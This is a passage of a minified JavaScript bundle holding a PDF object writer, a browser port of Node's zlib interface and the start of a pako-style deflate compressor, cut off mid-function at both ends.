                            return r
                        }().join(" ") + "]";
                        if ("[object Object]" === {}.toString.call(s)) {
                            p = ["<<"];
                            for (h in s) v = s[h], p.push("/" + h + " " + t.convert(v));
                            return p.push(">>"), p.join("\n")
                        }
                        return "" + s
                    }, t
                }(), t.exports = r, i = n(55)
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i, o, a, s = function (t, e) {
                    return function () {
                        return t.apply(e, arguments)
                    }
                }, u              = function (t, e) {
                    function n() {
                        this.constructor = t
                    }

                    for (var r in e) c.call(e, r) && (t[r] = e[r]);
                    return n.prototype = e.prototype, t.prototype = new n, t.__super__ = e.prototype, t
                }, c              = {}.hasOwnProperty;
                a = n(56), o = n(30), i = function (t) {
                    function n(t, e, r) {
                        this.document = t, this.id = e, this.data = null != r ? r : {}, this.finalize = s(this.finalize, this), n.__super__.constructor.call(this, {decodeStrings: !1}), this.gen = 0, this.deflate = null, this.compress = this.document.compress && !this.data.Filter, this.uncompressedLength = 0, this.chunks = []
                    }

                    return u(n, t), n.prototype.initDeflate = function () {
                        return this.data.Filter = "FlateDecode", this.deflate = a.createDeflate(), this.deflate.on("data", function (t) {
                            return function (e) {
                                return t.chunks.push(e), t.data.Length += e.length
                            }
                        }(this)), this.deflate.on("end", this.finalize)
                    }, n.prototype._write = function (t, n, r) {
                        var i;
                        return e.isBuffer(t) || (t = new e(t + "\n", "binary")), this.uncompressedLength += t.length, null == (i = this.data).Length && (i.Length = 0), this.compress ? (this.deflate || this.initDeflate(), this.deflate.write(t)) : (this.chunks.push(t), this.data.Length += t.length), r()
                    }, n.prototype.end = function (t) {
                        return n.__super__.end.apply(this, arguments), this.deflate ? this.deflate.end() : this.finalize()
                    }, n.prototype.finalize = function () {
                        var t, e, n, i;
                        if (this.offset = this.document._offset, this.document._write(this.id + " " + this.gen + " obj"), this.document._write(r.convert(this.data)), this.chunks.length) {
                            for (this.document._write("stream"), i = this.chunks, e = 0, n = i.length; e < n; e++) t = i[e], this.document._write(t);
                            this.chunks.length = 0, this.document._write("\nendstream")
                        }
                        return this.document._write("endobj"), this.document._refEnd(this)
                    }, n.prototype.toString = function () {
                        return this.id + " " + this.gen + " R"
                    }, n
                }(o.Writable), t.exports = i, r = n(54)
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (t, r) {
            function i(e, n, r) {
                function i() {
                    for (var t; null !== (t = e.read());) s.push(t), u += t.length;
                    e.once("readable", i)
                }

                function o(t) {
                    e.removeListener("end", a), e.removeListener("readable", i), r(t)
                }

                function a() {
                    var n = t.concat(s, u);
                    s = [], r(null, n), e.close()
                }

                var s = [], u = 0;
                e.on("error", o), e.on("end", a), e.end(n), i()
            }

            function o(e, n) {
                if ("string" == typeof n && (n = new t(n)), !t.isBuffer(n)) throw new TypeError("Not a string or buffer");
                var r = g.Z_FINISH;
                return e._processChunk(n, r)
            }

            function a(t) {
                if (!(this instanceof a)) return new a(t);
                p.call(this, t, g.DEFLATE)
            }

            function s(t) {
                if (!(this instanceof s)) return new s(t);
                p.call(this, t, g.INFLATE)
            }

            function u(t) {
                if (!(this instanceof u)) return new u(t);
                p.call(this, t, g.GZIP)
            }

            function c(t) {
                if (!(this instanceof c)) return new c(t);
                p.call(this, t, g.GUNZIP)
            }

            function l(t) {
                if (!(this instanceof l)) return new l(t);
                p.call(this, t, g.DEFLATERAW)
            }

            function f(t) {
                if (!(this instanceof f)) return new f(t);
                p.call(this, t, g.INFLATERAW)
            }

            function h(t) {
                if (!(this instanceof h)) return new h(t);
                p.call(this, t, g.UNZIP)
            }

            function p(n, r) {
                if (this._opts = n = n || {}, this._chunkSize = n.chunkSize || e.Z_DEFAULT_CHUNK, d.call(this, n), n.flush && n.flush !== g.Z_NO_FLUSH && n.flush !== g.Z_PARTIAL_FLUSH && n.flush !== g.Z_SYNC_FLUSH && n.flush !== g.Z_FULL_FLUSH && n.flush !== g.Z_FINISH && n.flush !== g.Z_BLOCK) throw new Error("Invalid flush flag: " + n.flush);
                if (this._flushFlag = n.flush || g.Z_NO_FLUSH, n.chunkSize && (n.chunkSize < e.Z_MIN_CHUNK || n.chunkSize > e.Z_MAX_CHUNK)) throw new Error("Invalid chunk size: " + n.chunkSize);
                if (n.windowBits && (n.windowBits < e.Z_MIN_WINDOWBITS || n.windowBits > e.Z_MAX_WINDOWBITS)) throw new Error("Invalid windowBits: " + n.windowBits);
                if (n.level && (n.level < e.Z_MIN_LEVEL || n.level > e.Z_MAX_LEVEL)) throw new Error("Invalid compression level: " + n.level);
                if (n.memLevel && (n.memLevel < e.Z_MIN_MEMLEVEL || n.memLevel > e.Z_MAX_MEMLEVEL)) throw new Error("Invalid memLevel: " + n.memLevel);
                if (n.strategy && n.strategy != e.Z_FILTERED && n.strategy != e.Z_HUFFMAN_ONLY && n.strategy != e.Z_RLE && n.strategy != e.Z_FIXED && n.strategy != e.Z_DEFAULT_STRATEGY) throw new Error("Invalid strategy: " + n.strategy);
                if (n.dictionary && !t.isBuffer(n.dictionary)) throw new Error("Invalid dictionary: it should be a Buffer instance");
                this._binding = new g.Zlib(r);
                var i         = this;
                this._hadError = !1, this._binding.onerror = function (t, n) {
                    i._binding = null, i._hadError = !0;
                    var r = new Error(t);
                    r.errno = n, r.code = e.codes[n], i.emit("error", r)
                };
                var o = e.Z_DEFAULT_COMPRESSION;
                "number" == typeof n.level && (o = n.level);
                var a = e.Z_DEFAULT_STRATEGY;
                "number" == typeof n.strategy && (a = n.strategy), this._binding.init(n.windowBits || e.Z_DEFAULT_WINDOWBITS, o, n.memLevel || e.Z_DEFAULT_MEMLEVEL, a, n.dictionary), this._buffer = new t(this._chunkSize), this._offset = 0, this._closed = !1, this._level = o, this._strategy = a, this.once("end", this.close)
            }

            var d = n(51), g = n(57), v = n(69), y = n(72).ok;
            g.Z_MIN_WINDOWBITS = 8, g.Z_MAX_WINDOWBITS = 15, g.Z_DEFAULT_WINDOWBITS = 15, g.Z_MIN_CHUNK = 64, g.Z_MAX_CHUNK = 1 / 0, g.Z_DEFAULT_CHUNK = 16384, g.Z_MIN_MEMLEVEL = 1, g.Z_MAX_MEMLEVEL = 9, g.Z_DEFAULT_MEMLEVEL = 8, g.Z_MIN_LEVEL = -1, g.Z_MAX_LEVEL = 9, g.Z_DEFAULT_LEVEL = g.Z_DEFAULT_COMPRESSION, Object.keys(g).forEach(function (t) {
                t.match(/^Z/) && (e[t] = g[t])
            }), e.codes = {
                Z_OK: g.Z_OK,
                Z_STREAM_END: g.Z_STREAM_END,
                Z_NEED_DICT: g.Z_NEED_DICT,
                Z_ERRNO: g.Z_ERRNO,
                Z_STREAM_ERROR: g.Z_STREAM_ERROR,
                Z_DATA_ERROR: g.Z_DATA_ERROR,
                Z_MEM_ERROR: g.Z_MEM_ERROR,
                Z_BUF_ERROR: g.Z_BUF_ERROR,
                Z_VERSION_ERROR: g.Z_VERSION_ERROR
            }, Object.keys(e.codes).forEach(function (t) {
                e.codes[e.codes[t]] = t
            }), e.Deflate = a, e.Inflate = s, e.Gzip = u, e.Gunzip = c, e.DeflateRaw = l, e.InflateRaw = f, e.Unzip = h, e.createDeflate = function (t) {
                return new a(t)
            }, e.createInflate = function (t) {
                return new s(t)
            }, e.createDeflateRaw = function (t) {
                return new l(t)
            }, e.createInflateRaw = function (t) {
                return new f(t)
            }, e.createGzip = function (t) {
                return new u(t)
            }, e.createGunzip = function (t) {
                return new c(t)
            }, e.createUnzip = function (t) {
                return new h(t)
            }, e.deflate = function (t, e, n) {
                return "function" == typeof e && (n = e, e = {}), i(new a(e), t, n)
            }, e.deflateSync = function (t, e) {
                return o(new a(e), t)
            }, e.gzip = function (t, e, n) {
                return "function" == typeof e && (n = e, e = {}), i(new u(e), t, n)
            }, e.gzipSync = function (t, e) {
                return o(new u(e), t)
            }, e.deflateRaw = function (t, e, n) {
                return "function" == typeof e && (n = e, e = {}), i(new l(e), t, n)
            }, e.deflateRawSync = function (t, e) {
                return o(new l(e), t)
            }, e.unzip = function (t, e, n) {
                return "function" == typeof e && (n = e, e = {}), i(new h(e), t, n)
            }, e.unzipSync = function (t, e) {
                return o(new h(e), t)
            }, e.inflate = function (t, e, n) {
                return "function" == typeof e && (n = e, e = {}), i(new s(e), t, n)
            }, e.inflateSync = function (t, e) {
                return o(new s(e), t)
            }, e.gunzip = function (t, e, n) {
                return "function" == typeof e && (n = e, e = {}), i(new c(e), t, n)
            }, e.gunzipSync = function (t, e) {
                return o(new c(e), t)
            }, e.inflateRaw = function (t, e, n) {
                return "function" == typeof e && (n = e, e = {}), i(new f(e), t, n)
            }, e.inflateRawSync = function (t, e) {
                return o(new f(e), t)
            }, v.inherits(p, d), p.prototype.params = function (t, n, i) {
                if (t < e.Z_MIN_LEVEL || t > e.Z_MAX_LEVEL) throw new RangeError("Invalid compression level: " + t);
                if (n != e.Z_FILTERED && n != e.Z_HUFFMAN_ONLY && n != e.Z_RLE && n != e.Z_FIXED && n != e.Z_DEFAULT_STRATEGY) throw new TypeError("Invalid strategy: " + n);
                if (this._level !== t || this._strategy !== n) {
                    var o = this;
                    this.flush(g.Z_SYNC_FLUSH, function () {
                        o._binding.params(t, n), o._hadError || (o._level = t, o._strategy = n, i && i())
                    })
                } else r.nextTick(i)
            }, p.prototype.reset = function () {
                return this._binding.reset()
            }, p.prototype._flush = function (e) {
                this._transform(new t(0), "", e)
            }, p.prototype.flush = function (e, n) {
                var i = this._writableState;
                if (("function" == typeof e || void 0 === e && !n) && (n = e, e = g.Z_FULL_FLUSH), i.ended) n && r.nextTick(n); else if (i.ending) n && this.once("end", n); else if (i.needDrain) {
                    var o = this;
                    this.once("drain", function () {
                        o.flush(n)
                    })
                } else this._flushFlag = e, this.write(new t(0), "", n)
            }, p.prototype.close = function (t) {
                if (t && r.nextTick(t), !this._closed) {
                    this._closed = !0, this._binding.close();
                    var e = this;
                    r.nextTick(function () {
                        e.emit("close")
                    })
                }
            }, p.prototype._transform = function (e, n, r) {
                var i, o = this._writableState, a = o.ending || o.ended, s = a && (!e || o.length === e.length);
                if (null === !e && !t.isBuffer(e)) return r(new Error("invalid input"));
                s ? i = g.Z_FINISH : (i = this._flushFlag, e.length >= o.length && (this._flushFlag = this._opts.flush || g.Z_NO_FLUSH));
                this._processChunk(e, i, r)
            }, p.prototype._processChunk = function (e, n, r) {
                function i(l, p) {
                    if (!u._hadError) {
                        var d = a - p;
                        if (y(d >= 0, "have should not go down"), d > 0) {
                            var g = u._buffer.slice(u._offset, u._offset + d);
                            u._offset += d, c ? u.push(g) : (f.push(g), h += g.length)
                        }
                        if ((0 === p || u._offset >= u._chunkSize) && (a = u._chunkSize, u._offset = 0, u._buffer = new t(u._chunkSize)), 0 === p) {
                            if (s += o - l, o = l, !c) return !0;
                            var v = u._binding.write(n, e, s, o, u._buffer, u._offset, u._chunkSize);
                            return v.callback = i, void(v.buffer = e)
                        }
                        if (!c) return !1;
                        r()
                    }
                }

                var o = e && e.length, a = this._chunkSize - this._offset, s = 0, u = this, c = "function" == typeof r;
                if (!c) {
                    var l, f = [], h = 0;
                    this.on("error", function (t) {
                        l = t
                    });
                    do {
                        var p = this._binding.writeSync(n, e, s, o, this._buffer, this._offset, a)
                    } while (!this._hadError && i(p[0], p[1]));
                    if (this._hadError) throw l;
                    var d = t.concat(f, h);
                    return this.close(), d
                }
                var g = this._binding.write(n, e, s, o, this._buffer, this._offset, a);
                g.buffer = e, g.callback = i
            }, v.inherits(a, p), v.inherits(s, p), v.inherits(u, p), v.inherits(c, p), v.inherits(l, p), v.inherits(f, p), v.inherits(h, p)
        }).call(e, n(2).Buffer, n(34))
    }, function (t, e, n) {
        (function (t, r) {
            function i(t) {
                if (t < e.DEFLATE || t > e.UNZIP) throw new TypeError("Bad argument");
                this.mode = t, this.init_done = !1, this.write_in_progress = !1, this.pending_close = !1, this.windowBits = 0, this.level = 0, this.memLevel = 0, this.strategy = 0, this.dictionary = null
            }

            function o(t, e) {
                for (var n = 0; n < t.length; n++) this[e + n] = t[n]
            }

            var a = n(58), s = n(59), u = n(60), c = n(65), l = n(68);
            for (var f in l) e[f] = l[f];
            e.NONE = 0, e.DEFLATE = 1, e.INFLATE = 2, e.GZIP = 3, e.GUNZIP = 4, e.DEFLATERAW = 5, e.INFLATERAW = 6, e.UNZIP = 7, i.prototype.init = function (t, n, r, i, o) {
                switch (this.windowBits = t, this.level = n, this.memLevel = r, this.strategy = i, this.mode !== e.GZIP && this.mode !== e.GUNZIP || (this.windowBits += 16), this.mode === e.UNZIP && (this.windowBits += 32), this.mode !== e.DEFLATERAW && this.mode !== e.INFLATERAW || (this.windowBits = -this.windowBits), this.strm = new s, this.mode) {
                    case e.DEFLATE:
                    case e.GZIP:
                    case e.DEFLATERAW:
                        var a = u.deflateInit2(this.strm, this.level, e.Z_DEFLATED, this.windowBits, this.memLevel, this.strategy);
                        break;
                    case e.INFLATE:
                    case e.GUNZIP:
                    case e.INFLATERAW:
                    case e.UNZIP:
                        var a = c.inflateInit2(this.strm, this.windowBits);
                        break;
                    default:
                        throw new Error("Unknown mode " + this.mode)
                }
                if (a !== e.Z_OK) return void this._error(a);
                this.write_in_progress = !1, this.init_done = !0
            }, i.prototype.params = function () {
                throw new Error("deflateParams Not supported")
            }, i.prototype._writeCheck = function () {
                if (!this.init_done) throw new Error("write before init");
                if (this.mode === e.NONE) throw new Error("already finalized");
                if (this.write_in_progress) throw new Error("write already in progress");
                if (this.pending_close) throw new Error("close is pending")
            }, i.prototype.write = function (e, n, r, i, o, a, s) {
                this._writeCheck(), this.write_in_progress = !0;
                var u = this;
                return t.nextTick(function () {
                    u.write_in_progress = !1;
                    var t               = u._write(e, n, r, i, o, a, s);
                    u.callback(t[0], t[1]), u.pending_close && u.close()
                }), this
            }, i.prototype.writeSync = function (t, e, n, r, i, o, a) {
                return this._writeCheck(), this._write(t, e, n, r, i, o, a)
            }, i.prototype._write = function (t, n, i, a, s, l, f) {
                if (this.write_in_progress = !0, t !== e.Z_NO_FLUSH && t !== e.Z_PARTIAL_FLUSH && t !== e.Z_SYNC_FLUSH && t !== e.Z_FULL_FLUSH && t !== e.Z_FINISH && t !== e.Z_BLOCK) throw new Error("Invalid flush value");
                null == n && (n = new r(0), a = 0, i = 0), s._set ? s.set = s._set : s.set = o;
                var h = this.strm;
                switch (h.avail_in = a, h.input = n, h.next_in = i, h.avail_out = f, h.output = s, h.next_out = l, this.mode) {
                    case e.DEFLATE:
                    case e.GZIP:
                    case e.DEFLATERAW:
                        var p = u.deflate(h, t);
                        break;
                    case e.UNZIP:
                    case e.INFLATE:
                    case e.GUNZIP:
                    case e.INFLATERAW:
                        var p = c.inflate(h, t);
                        break;
                    default:
                        throw new Error("Unknown mode " + this.mode)
                }
                return p !== e.Z_STREAM_END && p !== e.Z_OK && this._error(p), this.write_in_progress = !1, [h.avail_in, h.avail_out]
            }, i.prototype.close = function () {
                if (this.write_in_progress) return void(this.pending_close = !0);
                this.pending_close = !1, this.mode === e.DEFLATE || this.mode === e.GZIP || this.mode === e.DEFLATERAW ? u.deflateEnd(this.strm) : c.inflateEnd(this.strm), this.mode = e.NONE
            }, i.prototype.reset = function () {
                switch (this.mode) {
                    case e.DEFLATE:
                    case e.DEFLATERAW:
                        var t = u.deflateReset(this.strm);
                        break;
                    case e.INFLATE:
                    case e.INFLATERAW:
                        var t = c.inflateReset(this.strm)
                }
                t !== e.Z_OK && this._error(t)
            }, i.prototype._error = function (t) {
                this.onerror(a[t] + ": " + this.strm.msg, t), this.write_in_progress = !1, this.pending_close && this.close()
            }, e.Zlib = i
        }).call(e, n(34), n(2).Buffer)
    }, function (t, e) {
        "use strict";
        t.exports = {
            2: "need dictionary",
            1: "stream end",
            0: "",
            "-1": "file error",
            "-2": "stream error",
            "-3": "data error",
            "-4": "insufficient memory",
            "-5": "buffer error",
            "-6": "incompatible version"
        }
    }, function (t, e) {
        "use strict";

        function n() {
            this.input = null, this.next_in = 0, this.avail_in = 0, this.total_in = 0, this.output = null, this.next_out = 0, this.avail_out = 0, this.total_out = 0, this.msg = "", this.state = null, this.data_type = 2, this.adler = 0
        }

        t.exports = n
    }, function (t, e, n) {
        "use strict";

        function r(t, e) {
            return t.msg = R[e], e
        }

        function i(t) {
            return (t << 1) - (t > 4 ? 9 : 0)
        }

        function o(t) {
            for (var e = t.length; --e >= 0;) t[e] = 0
        }

        function a(t) {
            var e = t.state, n = e.pending;
            n > t.avail_out && (n = t.avail_out), 0 !== n && (O.arraySet(t.output, e.pending_buf, e.pending_out, n, t.next_out),
                t.next_out += n, e.pending_out += n, t.total_out += n, t.avail_out -= n, e.pending -= n, 0 === e.pending && (e.pending_out = 0))
        }

        function s(t, e) {
            T._tr_flush_block(t, t.block_start >= 0 ? t.block_start : -1, t.strstart - t.block_start, e), t.block_start = t.strstart, a(t.strm)
        }

        function u(t, e) {
            t.pending_buf[t.pending++] = e
        }

        function c(t, e) {
            t.pending_buf[t.pending++] = e >>> 8 & 255, t.pending_buf[t.pending++] = 255 & e
        }

        function l(t, e, n, r) {
            var i = t.avail_in;
            return i > r && (i = r), 0 === i ? 0 : (t.avail_in -= i, O.arraySet(e, t.input, t.next_in, i, n), 1 === t.state.wrap ? t.adler = L(t.adler, e, i, n) : 2 === t.state.wrap && (t.adler = B(t.adler, e, i, n)), t.next_in += i, t.total_in += i, i)
        }

        function f(t, e) {
            var n, r, i = t.max_chain_length, o = t.strstart, a = t.prev_length, s = t.nice_match, u = t.strstart > t.w_size - ct ? t.strstart - (t.w_size - ct) : 0, c = t.window,
                l = t.w_mask, f = t.prev, h = t.strstart + ut, p = c[o + a - 1], d = c[o + a];
            t.prev_length >= t.good_match && (i >>= 2), s > t.lookahead && (s = t.lookahead);
            do {
                if (n = e, c[n + a] === d && c[n + a - 1] === p && c[n] === c[o] && c[++n] === c[o + 1]) {
                    o += 2, n++;
                    do {
                    } while (c[++o] === c[++n] && c[++o] === c[++n] && c[++o] === c[++n] && c[++o] === c[++n] && c[++o] === c[++n] && c[++o] === c[++n] && c[++o] === c[++n] && c[++o] === c[++n] && o < h);
                    if (r = ut - (h - o), o = h - ut, r > a) {
                        if (t.match_start = e, a = r, r >= s) break;
                        p = c[o + a - 1], d = c[o + a]
                    }
                }
            } while ((e = f[e & l]) > u && 0 != --i);
            return a <= t.lookahead ? a : t.lookahead
        }

        function h(t) {
            var e, n, r, i, o, a = t.w_size;
            do {
                if (i = t.window_size - t.lookahead - t.strstart, t.strstart >= a + (a - ct)) {
                    O.arraySet(t.window, t.window, a, a, 0), t.match_start -= a, t.strstart -= a, t.block_start -= a, n = t.hash_size, e = n;
                    do {
                        r = t.head[--e], t.head[e] = r >= a ? r - a : 0
                    } while (--n);
                    n = a, e = n;
                    do {
                        r = t.prev[--e], t.prev[e] = r >= a ? r - a : 0
                    } while (--n);
                    i += a
                }
                if (0 === t.strm.avail_in) break;
                if (n = l(t.strm, t.window, t.strstart + t.lookahead, i), t.lookahead += n, t.lookahead + t.insert >= st) for (o = t.strstart - t.insert, t.ins_h = t.window[o], t.ins_h = (t.ins_h << t.hash_shift ^ t.window[o + 1]) & t.hash_mask; t.insert && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[o + st - 1]) & t.hash_mask, t.prev[o & t.w_mask] = t.head[t.ins_h], t.head[t.ins_h] = o, o++, t.insert--, !(t.lookahead + t.insert < st));) ;
            } while (t.lookahead < ct && 0 !== t.strm.avail_in)
        }

        function p(t, e) {
            var n = 65535;
            for (n > t.pending_buf_size - 5 && (n = t.pending_buf_size - 5); ;) {
                if (t.lookahead <= 1) {
                    if (h(t), 0 === t.lookahead && e === M) return mt;
                    if (0 === t.lookahead) break
                }
                t.strstart += t.lookahead, t.lookahead = 0;
                var r = t.block_start + n;
                if ((0 === t.strstart || t.strstart >= r) && (t.lookahead = t.strstart - r, t.strstart = r, s(t, !1), 0 === t.strm.avail_out)) return mt;
                if (t.strstart - t.block_start >= t.w_size - ct && (s(t, !1), 0 === t.strm.avail_out)) return mt
            }
            return t.insert = 0, e === D ? (s(t, !0), 0 === t.strm.avail_out ? wt : xt) : (t.strstart > t.block_start && (s(t, !1), t.strm.avail_out), mt)
        }

        function d(t, e) {
            for (var n, r; ;) {
                if (t.lookahead < ct) {
                    if (h(t), t.lookahead < ct && e === M) return mt;
                    if (0 === t.lookahead) break
                }
                if (n = 0, t.lookahead >= st && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + st - 1]) & t.hash_mask, n = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], t.head[t.ins_h] = t.strstart), 0 !== n && t.strstart - n <= t.w_size - ct && (t.match_length = f(t, n)), t.match_length >= st) if (r = T._tr_tally(t, t.strstart - t.match_start, t.match_length - st), t.lookahead -= t.match_length, t.match_length <= t.max_lazy_match && t.lookahead >= st) {
                    t.match_length--;
                    do {
                        t.strstart++, t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + st - 1]) & t.hash_mask, n = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], t.head[t.ins_h] = t.strstart
                    } while (0 != --t.match_length);
                    t.strstart++
                } else t.strstart += t.match_length, t.match_length = 0, t.ins_h = t.window[t.strstart], t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + 1]) & t.hash_mask; else r = T._tr_tally(t, 0, t.window[t.strstart]), t.lookahead--, t.strstart++;
                if (r && (s(t, !1), 0 === t.strm.avail_out)) return mt
            }
            return t.insert = t.strstart < st - 1 ? t.strstart : st - 1, e === D ? (s(t, !0), 0 === t.strm.avail_out ? wt : xt) : t.last_lit && (s(t, !1), 0 === t.strm.avail_out) ? mt : bt
        }

        function g(t, e) {
            for (var n, r, i; ;) {
                if (t.lookahead < ct) {
                    if (h(t), t.lookahead < ct && e === M) return mt;
                    if (0 === t.lookahead) break
                }
                if (n = 0, t.lookahead >= st && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + st - 1]) & t.hash_mask, n = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], t.head[t.ins_h] = t.strstart), t.prev_length = t.match_length, t.prev_match = t.match_start, t.match_length = st - 1, 0 !== n && t.prev_length < t.max_lazy_match && t.strstart - n <= t.w_size - ct && (t.match_length = f(t, n), t.match_length <= 5 && (t.strategy === H || t.match_length === st && t.strstart - t.match_start > 4096) && (t.match_length = st - 1)), t.prev_length >= st && t.match_length <= t.prev_length) {
                    i = t.strstart + t.lookahead - st, r = T._tr_tally(t, t.strstart - 1 - t.prev_match, t.prev_length - st), t.lookahead -= t.prev_length - 1, t.prev_length -= 2;
                    do {
                        ++t.strstart <= i && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + st - 1]) & t.hash_mask, n = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], t.head[t.ins_h] = t.strstart)
                    } while (0 != --t.prev_length);
                    if (t.match_available = 0, t.match_length = st - 1, t.strstart++, r && (s(t, !1), 0 === t.strm.avail_out)) return mt
                } else if (t.match_available) {
                    if (r = T._tr_tally(t, 0, t.window[t.strstart - 1]), r && s(t, !1), t.strstart++, t.lookahead--, 0 === t.strm.avail_out) return mt
                } else t.match_available = 1, t.strstart++, t.lookahead--
            }
            return t.match_available && (r = T._tr_tally(t, 0, t.window[t.strstart - 1]), t.match_available = 0), t.insert = t.strstart < st - 1 ? t.strstart : st - 1, e === D ? (s(t, !0), 0 === t.strm.avail_out ? wt : xt) : t.last_lit && (s(t, !1), 0 === t.strm.avail_out) ? mt : bt
        }

        function v(t, e) {
            for (var n, r, i, o, a = t.window; ;) {
                if (t.lookahead <= ut) {
                    if (h(t), t.lookahead <= ut && e === M) return mt;
                    if (0 === t.lookahead) break
                }
                if (t.match_length = 0, t.lookahead >= st && t.strstart > 0 && (i = t.strstart - 1, (r = a[i]) === a[++i] && r === a[++i] && r === a[++i])) {
                    o = t.strstart + ut;
                    do {
                    } while (r === a[++i] && r === a[++i] && r === a[++i] && r === a[++i] && r === a[++i] && r === a[++i] && r === a[++i] && r === a[++i] && i < o);
                    t.match_length = ut - (o - i), t.match_length > t.lookahead && (t.match_length = t.lookahead)
                }
                if (t.match_length >= st ? (n = T._tr_tally(t, 1, t.match_length - st), t.lookahead -= t.match_length, t.strstart += t.match_length, t.match_length = 0) : (n = T._tr_tally(t, 0, t.window[t.strstart]), t.lookahead--, t.strstart++), n && (s(t, !1), 0 === t.strm.avail_out)) return mt
            }
            return t.insert = 0, e === D ? (s(t, !0), 0 === t.strm.avail_out ? wt : xt) : t.last_lit && (s(t, !1), 0 === t.strm.avail_out) ? mt : bt
        }

        function y(t, e) {
            for (var n; ;) {
                if (0 === t.lookahead && (h(t), 0 === t.lookahead)) {
                    if (e === M) return mt;
                    break
                }
                if (t.match_length = 0, n = T._tr_tally(t, 0, t.window[t.strstart]), t.lookahead--, t.strstart++, n && (s(t, !1), 0 === t.strm.avail_out)) return mt
            }
            return t.insert = 0, e === D ? (s(t, !0), 0 === t.strm.avail_out ? wt : xt) : t.last_lit && (s(t, !1), 0 === t.strm.avail_out) ? mt : bt
        }

        function m(t, e, n, r, i) {
            this.good_length = t, this.max_lazy = e, this.nice_length = n, this.max_chain = r, this.func = i
        }

        function b(t) {
            t.window_size = 2 * t.w_size, o(t.head), t.max_lazy_match = I[t.level].max_lazy, t.good_match = I[t.level].good_length, t.nice_match = I[t.level].nice_length, t.max_chain_length = I[t.level].max_chain, t.strstart = 0, t.block_start = 0, t.lookahead = 0, t.insert = 0, t.match_length = t.prev_length = st - 1, t.match_available = 0, t.ins_h = 0
        }

        function w() {
            this.strm = null, this.status = 0, this.pending_buf = null, this.pending_buf_size = 0, this.pending_out = 0, this.pending = 0, this.wrap = 0, this.gzhead = null, this.gzindex = 0, this.method = Q, this.last_flush = -1, this.w_size = 0, this.w_bits = 0, this.w_mask = 0, this.window = null, this.window_size = 0, this.prev = null, this.head = null, this.ins_h = 0, this.hash_size = 0, this.hash_bits = 0, this.hash_mask = 0, this.hash_shift = 0, this.block_start = 0, this.match_length = 0, this.prev_match = 0, this.match_available = 0, this.strstart = 0, this.match_start = 0, this.lookahead = 0, this.prev_length = 0, this.max_chain_length = 0, this.max_lazy_match = 0, this.level = 0, this.strategy = 0, this.good_match = 0, this.nice_match = 0, this.dyn_ltree = new O.Buf16(2 * ot), this.dyn_dtree = new O.Buf16(2 * (2 * rt + 1)), this.bl_tree = new O.Buf16(2 * (2 * it + 1)), o(this.dyn_ltree), o(this.dyn_dtree), o(this.bl_tree), this.l_desc = null, this.d_desc = null, this.bl_desc = null, this.bl_count = new O.Buf16(at + 1), this.heap = new O.Buf16(2 * nt + 1), o(this.heap), this.heap_len = 0, this.heap_max = 0, this.depth = new O.Buf16(2 * nt + 1), o(this.depth), this.l_buf = 0, this.lit_bufsize = 0, this.last_lit = 0, this.d_buf = 0, this.opt_len = 0, this.static_len = 0, this.matches = 0, this.insert = 0, this.bi_buf = 0, this.bi_valid = 0
        }

        function x(t) {
            var e;
            return t && t.state ? (t.total_in = t.total_out = 0, t.data_type = J, e = t.state, e.pending = 0, e.pending_out = 0, e.wrap < 0 && (e.wrap = -e.wrap), e.status = e.wrap ? ft : vt, t.adler = 2 === e.wrap ? 0 : 1, e.last_flush = M, T._tr_init(e), U) : r(t, j)
        }

        function S(t) {
            var e = x(t);
            return e === U && b(t.state), e
        }

        function k(t, e) {
            return t && t.state ? 2 !== t.state.wrap ? j : (t.state.gzhead = e, U) : j
        }

        function _(t, e, n, i, o, a) {
            if (!t) return j;
            var s = 1;
            if (e === q && (e = 6), i < 0 ? (s = 0, i = -i) : i > 15 && (s = 2, i -= 16), o < 1 || o > $ || n !== Q || i < 8 || i > 15 || e < 0 || e > 9 || a < 0 || a > K) return r(t, j);
            8 === i && (i = 9);
            var u = new w;
            return t.state = u, u.strm = t, u.wrap = s, u.gzhead = null, u.w_bits = i, u.w_size = 1 << u.w_bits, u.w_mask = u.w_size - 1, u.hash_bits = o + 7, u.hash_size = 1 << u.hash_bits, u.hash_mask = u.hash_size - 1, u.hash_shift = ~~((u.hash_bits + st - 1) / st), u.window = new O.Buf8(2 * u.w_size), u.head = new O.Buf16(u.hash_size), u.prev = new O.Buf16(u.w_size), u.lit_bufsize = 1 << o + 6, u.pending_buf_size = 4 * u.lit_bufsize, u.pending_buf = new O.Buf8(u.pending_buf_size), u.d_buf = 1 * u.lit_bufsize, u.l_buf = 3 * u.lit_bufsize, u.level = e, u.strategy = a, u.method = n, S(t)
        }

        function C(t, e) {
            return _(t, e, Q, tt, et, X)
        }

        function A(t, e) {
            var n, s, l, f;
            if (!t || !t.state || e > N || e < 0) return t ? r(t, j) : j;
            if (s = t.state, !t.output || !t.input && 0 !== t.avail_in || s.status === yt && e !== D) return r(t, 0 === t.avail_out ? V : j);
